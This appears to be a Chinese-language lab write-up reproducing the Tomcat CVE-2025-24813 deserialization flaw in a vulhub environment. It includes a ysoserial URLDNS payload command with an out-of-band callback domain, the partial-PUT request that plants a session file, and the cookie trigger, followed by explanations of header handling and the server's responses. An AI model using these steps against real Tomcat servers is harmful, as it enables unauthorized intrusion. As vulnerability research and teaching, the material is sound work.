CVE-2025-24813漏洞复现

Tomcat 远程代码执行漏洞(CVE-2025-24813)

Apache Tomcat 远程代码执行/路径等价漏洞(CVE-2025-24813)的受影响及修复版本具体如下:

受影响的版本范围

  • Tomcat 11.x 系列: 11.0.0-M111.0.2

  • Tomcat 10.1.x 系列: 10.1.0-M110.1.34

  • Tomcat 9.0.x 系列: 9.0.0-M19.0.98

漏洞触发前置条件

该漏洞在实际环境中被成功利用的门槛较高,必须同时满足以下非默认配置与环境条件

  1. 开启了 DefaultServlet 的写入权限: 配置文件 conf/web.xml 中,DefaultServletreadonly 初始化参数被显式设置为 false(默认是 true)。

  2. 允许部分 PUT 请求(Partial PUT): 攻击者可通过特定请求将恶意的反序列化 Payloads 写入服务器。

  3. 启用了文件会话持久化: 应用程序配置并使用了 Tomcat 基于文件的 Session 持久化机制(PersistentManager),且使用的是默认的会话存储位置。

  4. 类路径中存在可利用的反序列化链: 业务自身依赖中包含了存在已知反序列化利用链的第三方库(例如特定版本的 commons-collections 等)。

漏洞复现

靶机ip: 192.168.10.142

攻击机ip: 192.168.10.81

利用工具:https://github.com/frohoff/ysoserial

项目地址:https://github.com/vulhub/vulhub/blob/master/tomcat/CVE-2025-24813

访问Tomcat

准备payload

例如:

//生成了地址

whhkzbsbzotdqpnikirpuqom2d87w2kr.oastify.com

//使用ysoserial生成文件

java -jar ysoserial-all.jar URLDNS "http://tomcat2.你生成的地址" > urldns
.bin

正常刷新抓包

PUT /deserialize/session HTTP/1.1 //这是上传的session文件名
Host: your-ip:8080 //你的靶机地址
Content-Length: 1234 //body的长度,bp会自动匹配
Content-Range: bytes 0-5/10 //大于或等于恶意代码的长度

deserialize content //ysoserial生成的恶意演示文件

发送访问包

你看到发送引爆包后立刻返回 500(服务器内部错误),过了一会儿再发就变成 200(成功),这恰恰说明你的整个攻击链路是完全完美生效的。

过30秒,URLDNS gadget 被成功反序列化,并发送了 DNS 请求:

补充

表单精简

表单精简到什么程度,完全取决于目标网站后端代码的“容忍度”以及它的具体配置。

你给出的精简对比非常典型:你把一个原本带有各种浏览器指纹(如 User-AgentAccept 等)的长请求包,成功缩减到了只剩 HostCookieContent-Length 的最简核心包。

之所以能这么做,背后有三个核心原因,同时也存在一些精简的“边界线”:

1. 为什么能删掉那些头?(因为后端不关心)

HTTP 协议中绝大多数请求头都是可选的。在 Tomcat 等 Web 容器接收到请求时,它会把所有的头部解析为一个映射表(Map)。

  • 业务代码不读它,它就是空气:如果目标的业务代码(或者漏洞触发点)没有写 request.getHeader("User-Agent") 来校验你是用什么浏览器访问的,那么这个头直接删掉,对后端逻辑完全没有任何影响。

  • 不影响核心解析:诸如 AcceptAccept-LanguageConnection 只是浏览器用来向服务器声明自身能力的,属于“内容协商”范畴。删掉它们,服务器只会采用它的默认规则进行响应。

2. HTTP 协议标准的“底线”非常低

根据 HTTP/1.1 协议规范(RFC 7230),一个合法的 HTTP 请求在格式上要求的绝对必需品极少:

  • 请求行(例如 GET / HTTP/1.1PUT /deserialize/session HTTP/1.1

  • Host 请求头(这是 HTTP/1.1 唯一强制要求必须携带的头部字段,用来告诉服务器你想访问哪个虚拟主机)

  • Content-Length / Transfer-Encoding(如果有请求体,用来告诉服务器数据的大小,否则服务器不知道该读到哪里结束)

只要满足这几点,服务器底层的网络解析器(如 Tomcat 的 Coyote 连接器、Nginx、Apache)就能正常切分数据包,并将其递交给后端的业务代码。

3. 浏览器“多管闲事”是为了用户体验

你在浏览器里访问网页时,浏览器会自动帮你加上诸如 User-AgentAccept-LanguageSec-Fetch-... 等一大堆头部。这些头对协议解析来说可有可无,它们存在的目的是为了内容协商(Content Negotiation)安全防护

  • 个性化适配(可删): Accept-Language: zh-CN 是浏览器告诉服务器“我想要中文页面”;User-Agent 是告诉服务器“我是手机还是电脑,请给我对应的排版”。如果删掉它们,服务器只会采用默认的语言和排版返回。

  • 浏览器自身的安全策略(可删): 诸如 Sec-Fetch-ModeSec-Fetch-Site 等头部,是现代浏览器为了防御 CSRF(跨站请求伪造)等漏洞,自动向服务器汇报的“流量来源声明”。后端业务如果没有专门写代码去校验这些安全头,删掉它们完全不影响业务逻辑。

4. 后端业务代码(Servlet/Controller)的读取机制

在后端(比如 Tomcat 运行的 Java Web 应用)中,业务代码对请求头的读取是被动且按需的

当请求到达服务器后:

  • Tomcat 只负责把请求头解析成一个键值对映射(Map)。

  • 只有当程序员在代码里写了 request.getHeader("User-Agent") 或者配置了拦截器去校验特定头部时,这个请求头才是“保命”的。

  • 如果业务代码根本没有去读取某个头部,那么无论你传不传、传什么,对后端业务来说都如同空气,直接被忽略了。

5. 精简的程度取决于网站的什么“设置”?

正如你所说,精简程度是看网站设置的。在实际的渗透测试或不同网站环境中,网站的以下设置会直接影响你的精简策略:

  • 反向代理/Web应用防火墙(WAF)的设置:这是最容易卡住精简包的地方。许多安全防护设备如果发现一个请求没有 User-Agent 或者缺少常见的安全头部(如 Sec-Fetch-...),会直接判定这是“自动化脚本/黑客扫描”从而拦截。

  • 后端的安全拦截器/过滤器(Interceptor/Filter):有些网站为了防爬虫或防自动化攻击,会在代码里强制校验 Referer(来源页面)或自定义的 Token 头部。如果精简掉了这些防爬头,即使漏洞点就在后面,你也根本触碰不到。

  • Tomcat 的内置限制:Tomcat 对请求头的大小、请求行的长度(例如 maxHttpHeaderSize)有硬性设置。

Content-Length和Content-Range

1. 它们原本是什么意思?

这是 HTTP 协议中用来支持断点续传分块下载/上传的标准请求头。

  • Content-Length(实际传输大小): 告诉服务器,我这次在 HTTP 的 Body 里面,实际塞了多少个字节的数据发给你。

  • Content-Range(片段范围声明): 告诉服务器,我这次传的数据,对应整个大文件的哪一个部分

    • 语法格式:bytes [起始位置]-[结束位置]/[文件总大小]

    • 例如:Content-Range: bytes 0-5/10 意思是:“整个文件总共 10 个字节,我这次只传开头的第 0 到第 5 个字节(共 6 个字节)给你。”

2. 为什么要“保持一致”?

公式:结束位置 - 起始位置 + 1 = Content-Length

在正常情况下,服务器的底层网络引擎非常严格。如果你的 Content-Length 写的是 355,但你的 Content-Range 写的是 bytes 0-5/10(声明只传 6 字节),Tomcat 一算:“你声明的范围只有 6 字节,却塞给我 355 字节的数据,你在逗我?” 此时,Tomcat 会直接认为这个数据包发生畸形或网络传输错误,直接抛出异常并切断连接,你的 Payload 连被写入临时目录的机会都没有

所以,必须让它们完美对齐(例如:Content-Length: 355 对应 Content-Range: bytes 0-354/355),Tomcat 才会判定这是一个“合法的分块传输请求”,并继续往下走解析逻辑。

3. 为什么必须“大于或等于恶意代码的长度”?

这就触及到这个漏洞最核心的设计缺陷(Bug)了。

当 Tomcat 的 DefaultServlet 收到一个带有 Content-RangePUT 请求时,它的底层逻辑是这样的:

[Tomcat 接收到 PUT 请求]
       │
       ▼
 检查 Content-Range -> 噢!这是一个分块上传
       │
       ▼
 创建临时文件 -> 开始把 Body 里的恶意代码写入磁盘
       │
       ▼
 [核心 Bug 发生处]
 检查写入的总长度是否达到了 Content-Range 声明的总大小 (Y)?
 ┌─────┴─────┐
 │是         │否
 ▼           ▼
[成功]     [报错 409] ──> 但由于代码没写好,之前写入的临时文件【没有被删掉】!

巧妙的欺骗逻辑:

  1. 如果声明的总长度小于恶意代码: 比如你的恶意代码有 355 字节,你却声明总大小只有 200 字节。Tomcat 读到第 200 字节时就觉得已经传完了,直接把剩下的 155 字节截断丢弃。落地的文件就损坏了,后续无法触发反序列化。

  2. 如果声明的总长度大于或等于恶意代码: * Tomcat 会老老实实地把你发过去的 355 字节完整地写入到磁盘上

    • 写入完成后,Tomcat 发现:“咦?你声明这个文件总共有 355 字节(或者 4200 字节),怎么你把 Body 传完了也才只有 355 字节?你没传够啊!”

    • 于是,Tomcat 就会在前端大发雷霆,给你返回一个 HTTP Status 409 – Conflict 报错。

    • 但是!Tomcat 在后台犯了个低级错误: 它虽然报错了,但忘记把刚刚已经写进磁盘的那 355 字节的临时文件给删掉了

返回包500变200

1. 为什么立刻访问会返回 500?(因为 Java 正在替你干活)

当你在 GET 请求中带上 Cookie: JSESSIONID=.deserialize 时,Tomcat 的底层会执行以下一连串操作:

[接收 GET 请求] ──> [发现特殊的 JSESSIONID] ──> [去 temp 目录读取你的恶意文件]
                                                          │
  [返回 200] <── [Tomcat 捕获到异常,擦干眼泪继续运行] <── [反序列化触发 URLDNS 链 (产生网络阻塞)]
  • 反序列化被激活:Tomcat 在后台开始通过 ObjectInputStream.readObject() 来解析你留下的 355 字节恶意代码。

  • 触发 DNS 盲打延迟(核心原因):你的 Payload 是一条 URLDNS 链。Java 对象的读取会强制触发 java.net.URL 类的 hashCode() 计算,进而调用底层的操作系统去公网解析你的恶意域名

  • 线程被死死卡住(阻塞):网络请求和 DNS 查询是需要时间的(一般需要几百毫秒到数秒)。在这期间,处理你当前这个 GET 请求的 Tomcat 后台工作线程被死死地卡住(阻塞)了,它必须等 DNS 查询有结果才能继续往下走。

  • 超时或抛出异常:因为反序列化进来的是一个非正常的 Session 对象(它不是真正的 Tomcat Session 包装类),等 DNS 请求一发出去,Java 底层就会因为转换失败或者反序列化类不匹配,在执行尾声猛烈地抛出一个 java.io.IOException 或相关运行时异常

  • Tomcat 兜底返回 500:由于你的这个 HTTP 请求在执行期间最终抛出了没有被业务代码捕获的严重异常,Tomcat 只能很不情愿地在前端给你吐出一个 500 Internal Server Error 面板。

2. 为什么过一会访问就变成 200 了?

当你过了几秒钟,再次点击 Send 发送一模一样的 GET 请求时:

  • 恶意对象已经消亡:上一次的反序列化虽然报错了(500),但在报错的同时,Java 虚拟机(JVM)已经把刚才处理失败的畸形对象从内存里清空或移出了活跃状态

  • 内存会话重置:此时你再次带着 Cookie: JSESSIONID=.deserialize 过来,Tomcat 底层对应的线程已经是全新的、干净的了。

  • 触发正常的错误处理(200 首页):Tomcat 再次尝试去读取这个 Session,可能会发现文件损坏、会话已失效或者直接判定该会话不合法,从而在内部执行了 request.getSession()降级逻辑(给你颁发或当作一个全新的、合法的空会话来处理)。由于不再有 URLDNS 阻塞网络,也没有致命异常阻断流,程序顺利走完了默认流程,把 Tomcat 的标准欢迎首页完整地渲染了出来,状态码自然就变成了 200 OK

posted @ 2026-06-24 12:14  harvIl  阅读(8)  评论(0)    收藏  举报